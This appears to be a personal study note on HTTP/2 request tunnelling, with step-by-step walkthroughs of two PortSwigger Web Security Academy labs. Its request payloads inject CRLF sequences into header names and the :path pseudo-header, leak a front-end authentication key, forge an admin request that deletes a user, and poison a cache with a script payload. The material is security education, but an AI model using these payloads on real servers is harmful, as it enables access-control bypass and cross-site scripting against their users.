What is Request Tunnelling?

Although some servers will reuse the connection for any requests, others have stricter policies.

For example, some servers only allow requests originating from the same IP address or the same client to reuse the connection. Others won’t reuse the connection at all, which limits what you can achieve through classic request smuggling as you have no obvious way to influence other users’ traffic.

You can still send a single request that will elicit two responses from the back-end. This potentially enables you to hide a request and its matching response from the front-end altogether.

You can use this technique to bypass front-end security measures that may otherwise prevent you from sending certain requests.

Request Tunnelling with HTTP/2

In HTTP/2, each “stream” should only ever contain a single request and response. If you receive an HTTP/2 response with what appears to be an HTTP/1 response in the body, you can be confident that you’ve successfully tunneled a second request.

Leaking Internal Headers via HTTP/2 Request Tunnelling

You can potentially trick the front-end into appending the internal headers inside what will become a body parameter on the back-end. Let’s say we send a request that looks something like this:

HeaderValue
:methodPOST
:path/comment
:authorityvulnerable-website.com
content-typeapplication/x-www-form-urlencoded
foobar\r\nContent-Length: 200\r\n\r\ncomment=

The front-end sees everything we’ve injected as part of a header, so adds any new headers after the trailing comment= string.

On the other hand, the back-end sees the \r\n\r\n sequence and thinks this is the end of the headers. The comment= string, along with the internal headers, are treated as part of the body. The result is a comment parameter with the internal headers as its value.

POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
 
comment=X-Internal-Header: secretContent-Length: 3

Non-blind Request Tunnelling Using HEAD

Some front-end servers only read in the number of bytes specified in the Content-Length header of the response, so only the first response is forwarded to the client. This results in a blind request tunnelling vulnerability because you won’t be able to see the response to your tunnelled request.

Blind request tunneling can be challenging to exploit, but using HEAD requests can make these vulnerabilities visible.

Responses to HEAD requests often include a Content-Length header, which can cause some front-end servers to over-read the response from the back-end if they fail to account for this and read the specified number of bytes regardless.

For example:

Request:

HeaderValue
:methodHEAD
:path/example
:authorityvulnerable-website.com
foobar\r\n\r\nGET /tunnelled HTTP/1.1\r\nHost: vulnerable-website.com\r\nX: x

Response:

:status	200
content-type	text/html
content-length	131
 
HTTP/1.1 200 OK             <-- tunneled response
Content-Type: text/html
Content-Length: 4286
 
<!DOCTYPE html>
<h1>Tunnelled</h1>
<p>This is a tunnelled respo

Attention

If the resource returned by your HEAD request is shorter than the tunnelled response, it might get truncated. Conversely, if the Content-Length exceeds the response size, you may face a timeout as the front-end server waits for more data from the back-end.

Lab: Bypassing Access Controls via HTTP/2 Request Tunnelling

Abstract

Front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming header names. To solve the lab, access the admin panel at /admin as the administrator user and delete the user carlos.

The front-end server doesn’t reuse the connection to the back-end, so isn’t vulnerable to classic request smuggling attacks. However, it is still vulnerable to request tunneling.

Hint

The front-end server appends a series of client authentication headers to incoming requests. You need to find a way of leaking these.

Testing for CRLF Injection

Try to exploit H2.CL1 and H2.TE2 vulnerabilities:

GET / HTTP/2
Content-Length: 1
 
 
GET / HTTP/2
Transfer-Encoding: chunked
 
1
A
X

The status codes for both requests are 200 which means we can not exploit H2.CL and H2.TE vulnerabilities.

Add a header named Host:test.com via “Inspector” tab of Burp Suite. The request should look like this:

HeaderValue
:methodGET
:path/
:authority0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net
Host:test.com

We do not add header value as the lab’s description said that only header names are not sanitized.

Send the above request and receive this reponse:

HTTP/2 504 Gateway Timeout
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 148
 
<html>
 
<head>
  <title>Server Error: Gateway Timeout</title>
</head>
 
<body>
  <h1>Server Error: Gateway Timeout (3) connecting to test.com</h1>
</body>
 
</html>

This request indicates that our injected host name will be treated as a valid header by front-end server and will be forwarded to the back-end server. After that, the back-end server will make a request to the injected host name instead of the original hostname.

Try to inject CRLF by sending this request:

HeaderValue
:methodGET
:path/
:authority0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net
Foo:bar\r\nHost:test.com

Response of this request is same with the previous one, meaning that we can use CSRF injection.

Leaking Authentication Headers

Next, we need to leak authentication headers added by the front-end server3. We found that there is an endpoint that has a controllable and reflected param:

GET /?search=hello HTTP/2
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3297
 
...
<h1>0 search results for 'hello'</h1>

This request can also be converted into a POST request:

POST / HTTP/2
 
search=hello

We will use a header name like this:

HeaderValue
:methodPOST
:path/
:authority0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net
Content-Length:30\r\n\r\nsearch=

In the classic request smuggling attacks, we probably place the search param in the request body with a Content-Length header that is slightly longer than the actual content. However, the Content-Length is ignored so we need to inject it into the header.

How the servers process the above request:

  • During downgrading, the front-end server will add authentication headers after our injected header, which was seem like a valid header.
  • The Content-Length:30 sequence will be processed by the backend server as a normal header.
  • After this header is a \r\n\r\n sequence. The back-end server sees this as the end of headers and it will read the content in the request body, including our search param and any subsequent authentication headers.

As a result, the downgraded request sent to back-end server could be:

POST / HTTP/1.1
...
Content-Length: 30
 
search=Some-Authentication-Header:abc
...

The search param will be reflected into the response:

<h1>0 search results for ':
  X-SSL-VERIFIED: 0
'</h1>

Change value of Content-Length to 200 and receive a timed-out response:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
 
<html>
 
<head>
  <title>Server Error: Proxy error</title>
</head>
 
<body>
  <h1>Server Error: Communication timed out</h1>
</body>
 
</html>

This is because the authentication headers are not long enough. We can pad the data or reduce the value of Content-Length until we can see every authentication headers.

Pad the reflected data by adding some ‘A’ characters after search= sequence:

Content-Length:200
 
search=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Adjust the padding until the response has all of the authentication headers we need:

<h1>0 search results for
  'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
  X-SSL-VERIFIED: 0
  X-SSL-CLIENT-CN: null
  X-FRONTEND-KEY: 8798491640355206
  Content-Length: 0
'</h1>

We can also use the comment feature to leak authentication headers by smuggling a request like via the header name:

foo: bar
 
POST /post/comment HTTP/1.1
Cookie: session=58Qyr4hoXJZLWChBfmHK1mTP2qXcSkZL
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
 
csrf=qSwSbOsl8CksXPXaK27XKIYedPHrUjOZ&postId=3&name=a&email=a%40a.com&comment=

The comment will be posted on the post’s page:

<p>: 
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 8798491640355206
Content-Length: 0</p>

Tunneling the Attack Request

With the results above, we construct a header name that contains our tunneled request to /admin as well as the authentication headers like this:

foo: bar
 
GET /admin HTTP/1.1
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 8798491640355206
 
 

Notice that we have changed X-SSL-VERIFIED to 1 and X-SSL-CLIENT-CN to administrator as the /admin endpoint is only accessible for administrator.

As we know, some front-end servers “only read in the number of bytes specified in the Content-Length header of the response to the original request” so the response of our tunneled request may be ignored. To deal with this, we change request method to HEAD.

When doing this, the response becomes:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 151
 
<html>
<head>
  <title>Server Error: Proxy error</title>
</head>
<body>
  <h1>Server Error: Received only 3608 of expected 8848 bytes of data</h1>
</body>
</html>

This indicates that there is a response for our tunneled request but it is too short comparing with the Content-Length header in the response of the HEAD request. In this case, we can request to another resource that is shorter than 3521 bytes by changing the value of :path header of the HEAD request.

We can use /?search=hello endpoint for this purpose.

Now we have our tunneled response:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=giYu29TnmIuwtO4fpEarQCI8LSWU19Gd; Secure; HttpOnly; SameSite=None
Content-Length: 3297
X-Frame-Options: SAMEORIGIN
 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Set-Cookie: session=mf0YDlbmPvgeLd2JCQUk0OZE1olZqP9F; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=0
Content-Length: 3189
 
...
<a href="/admin/delete?username=carlos">Delete</a>

Change the header name into this to delete carlos user:

foo: bar
 
POST /admin/delete?username=carlos HTTP/1.1
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 8798491640355206
 
 

Web Cache Poisoning via HTTP/2 Request Tunnelling

With non-blind request tunnelling, you can effectively mix and match the headers from one response with the body of another. If the response in the body reflects unencoded user input, you may be able to leverage this behavior for Reflected XSS in contexts where the browser would not normally execute the code.

For example, the following response contains unencoded, attacker-controllable input:

HTTP/1.1 200 OK
Content-Type: application/json
 
{ "name" : "test<script>alert(1)</script>" }
...

The Content-Type means that this payload will simply be interpreted as JSON by the browser. But consider what would happen if you tunnel the request to the back-end instead. This response would appear inside the body of a different response, effectively inheriting its headers, including the Content-Type.

:status	200
content-type	text/html
content-length	174
HTTP/1.1 200 OK
Content-Type: application/json
 
{ "name" : "test<script>alert(1)</script>" }
...

Lab: Web Cache Poisoning via HTTP/2 Request Tunnelling

Abstract

Front-end server downgrades HTTP/2 requests and doesn’t consistently sanitize incoming headers.

To solve the lab, poison the cache in such a way that when the victim visits the home page, their browser executes alert(1). A victim user will visit the home page every 15 seconds.

The front-end server doesn’t reuse the connection to the back-end, so isn’t vulnerable to classic request smuggling attacks. However, it is still vulnerable to request tunnelling.

Info

Follow the solution to solve this lab.

Injecting into :path Pseudo Header

Examine a normal request:

GET / HTTP/2
...

Injection the following into :path pseudo header:

/404 HTTP/1.1
Foo: bar

Its representation at back-end server:

GET /404 HTTP/1.1
Foo: barHTTP/2
...

Response shows that we can inject via :path pseudo header:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=zXm9EO1djlP6XK0VYreSl8Nfkfx4pJy2; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11
 
"Not Found"

Change method of the wrapper request to HEAD and tunnel a request in :path pseudo header:

/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
 
GET / HTTP/1.1
Foo: bar

Important

We still need to add a Host header to make sure that the wrapper request is valid.

Now we can see two responses:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=lceJdPskkeDQ6vyQhPXNNjzlLX82mqRP; Secure; HttpOnly; SameSite=None
Content-Length: 8637
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=VrF3AxT5EO93YFZcpXr9e4GwOTusUrZC; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=0
Content-Length: 8637

Reflecting Input without Sanitization

Then, we need to find some endpoint that can reflect the input without sanitization. And it is /resources:

GET /resources HTTP/2
HTTP/2 302 Found
Location: /resources/
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0

Try to add a param:

GET /resources?<script>alert(1)</script> HTTP/2
HTTP/2 302 Found
Location: /resources/?<script>alert(1)</script>
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0

As we can see, the injected param is reflected into the response. Our intention is placing this response into another response that has text/html content type.

Poisoning the Cache

Update the :path pseudo header to tunnel a complete request:

/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
 
GET /resources?<script>alert(1)</script> HTTP/1.1
Foo: bar

However, when sending the above request, I receive this response:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
 
<html>
<head>
  <title>Server Error: Proxy error</title>
</head>
<body>
  <h1>Server Error: Communication timed out</h1>
</body>
</html>

This is due to the Content-Length header is longer in the main response is longer than the nested response of the tunnelled request.

Add some padding into the query param of /resources endpoint to solve this problem:

/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
 
GET /resources?<script>alert(1)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... HTTP/1.1
Foo: bar

Response shows that we have successfully poisoned the cache:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=XKlfJKKervn0hS50OTOkc4H9wYnc6vdw; Secure; HttpOnly; SameSite=None
Content-Length: 8637
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
 
HTTP/1.1 302 Found
Location: /resources/?<script>alert(1)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
list
from outgoing([[Port Swigger - HTTP Request Tunnelling]])
sort file.ctime asc

Resources

Footnotes

  1. see Lab H2.CL Request Smuggling ↩

  2. see Lab Response Queue Poisoning via H2.TE Request Smuggling ↩

  3. we will use techniques in Revealing Front-end Request Rewriting and 2 Request Splitting via CRLF Injection ↩